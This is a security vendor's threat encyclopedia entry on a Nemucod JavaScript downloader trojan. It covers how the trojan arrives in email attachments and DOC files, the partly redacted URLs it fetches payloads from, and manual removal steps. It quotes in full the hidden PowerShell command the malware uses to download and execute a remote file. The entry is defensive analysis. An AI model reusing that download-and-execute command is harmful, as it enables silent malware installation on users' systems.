JS_NEMUCOD.ELDSAUFI
JS/TrojanDownloader.Agent.QHW trojan (NOD32); JS.Downloader (Norton); TrojanDownloader:JS/Swabfex.P (Microsoft)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It does not have any propagation routine.
It does not have any backdoor routine.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Rootkit Capabilities
This Trojan does not have rootkit capabilities.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://ta.{BLOCKED}celatinos.co/js100.bin?jvXKO
- http://pop.{BLOCKED}horeweed.net/014.bin?cuMlLwE
- http://de.{BLOCKED}atinos.com/js100.bin?MjJEtbA
It saves the files it downloads using the following names:
- %User Profile%\AppData\Roaming{random characters}.exe
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)
Other Details
This Trojan does the following:
- The malware uses powershell commands in executing its malicious routine:
%System%\cmd.exe /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('{malicious link}','%apPdatA%{random characters}.exe'); sTarT-pROCESs '%appdata%{random characters}.eXe';
It does not exploit any vulnerability.
NOTES:
This malware arrives through a DOC file. It is embedded and will execute its routine upon activation by the user:
Upon execution of this malicious embedded JS file, it displays the following message box to trick the user:
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Profile%\AppData\Roaming{random characters}.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as JS_NEMUCOD.ELDSAUFI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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